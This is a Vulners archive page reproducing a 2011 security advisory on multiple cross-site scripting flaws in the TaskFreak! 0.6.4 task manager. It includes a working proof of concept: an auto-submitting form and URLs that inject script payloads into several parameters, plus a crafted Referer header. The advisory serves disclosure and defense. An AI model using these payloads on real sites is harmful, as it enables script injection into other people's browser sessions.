Vulners
Lucene search
TaskFreak! v0.6.4 Multiple Cross-Site Scripting Vulnerabilities
🗓️ 11 Feb 2011 00:00:00Reported by Gjoko KrsticHigh five to BorgType 
zeroscience🔗 www.zeroscience.mk👁 100 Views
| Reporter | Title | Published | Views | Family All 6 |
|---|---|---|---|---|
 | CVE-2011-1062 | 12 Feb 201100:00 | – | circl |
 | CVE-2011-1062 | 22 Feb 201123:00 | – | cve |
 | CVE-2011-1062 | 22 Feb 201123:00 | – | cvelist |
 | EUVD-2011-1077 | 7 Oct 202500:30 | – | euvd |
 | CVE-2011-1062 | 23 Feb 201101:00 | – | nvd |
 | Cross site scripting | 23 Feb 201101:00 | – | prion |
<html><body><p>################################################################
TaskFreak! v0.6.4 Multiple Cross-Site Scripting Vulnerabilities
Vendor: Stan Ozier
Product web page: http://www.taskfreak.com
Affected version: 0.6.4 (multi-user)
Summary: TaskFreak! Original is a simple but efficient web based
task manager written in PHP.
Desc: TaskFreak! suffers from multiple XSS vulnerabilities when parsing
input to multiple parameters in different scripts. The vulnerable POST
parameters are: 'sContext', 'sort', 'dir' and 'show' thru index.php. Also
the GET parameters 'dir' and 'show' thru 'print_list.php' are vulnerable.
Header variable 'referer' is vulnerable thru rss.php script. Attackers
can exploit these weaknesses to execute arbitrary HTML and script code in
a user's browser session.
Tested on: MS Windows XP Pro SP3-EN, XAMPP (latest)
Vulnerability discovered by Gjoko 'LiquidWorm' Krstic
Advisory ID: ZSL-2011-4990
Advisory URL: http://www.zeroscience.mk/en/vulnerabilities/ZSL-2011-4990.php
27.01.2011
################################################################
<script type="text/javascript">function xss(){document.forms["zappa"].submit();}</script>
</p><form action="http://taskfreak/index.php" id="zappa" method="POST" name="zappa">
<input name="sProject" type="hidden" value="0"/>
<input name="id" type="hidden" value=""/>
<input name="mode" type="hidden" value="save"/>
<input name="sContext" type="hidden" value="%22%20onmouseover%3dprompt(/_did_you_smiled_today_?/)%20"/>
<input name="sort" type="hidden" value='"><script>alert(1)</script>'/>
<input name="dir" type="hidden" value='"><script>alert(2)</script>'/>
<input name="show" type="hidden" value='"><script>alert(3)</script>'/>
</form>
<a href="javascript: xss();" style="text-decoration:none">
<b><font color="red"></font></b><center><h3>Exploit!<h3></h3></h3></center></a>
---
http://taskfreak/print_list.php?dir=%22%3E%3Cscript%3Ealert%281%29%3C/script%3E
http://taskfreak/print_list.php?show=%22%3E%3Cscript%3Ealert%281%29%3C/script%3E
---
GET /taskfreak/rss.php HTTP/1.1
Referer: ">Waddup!
User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0)
Host: localhost
Connection: Keep-alive
Accept-Encoding: gzip,deflate
Accept: */*
</body></html>Data
Build on a solid foundation with Vulners data
We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data
Api
Power your application with Vulners API
The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access
App
Assess and manage vulnerabilities with Vulners tools
Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation
11 Feb 2011 00:00Current
6.1Medium risk
Vulners AI Score6.1
CVSS 24.3
EPSS0.01166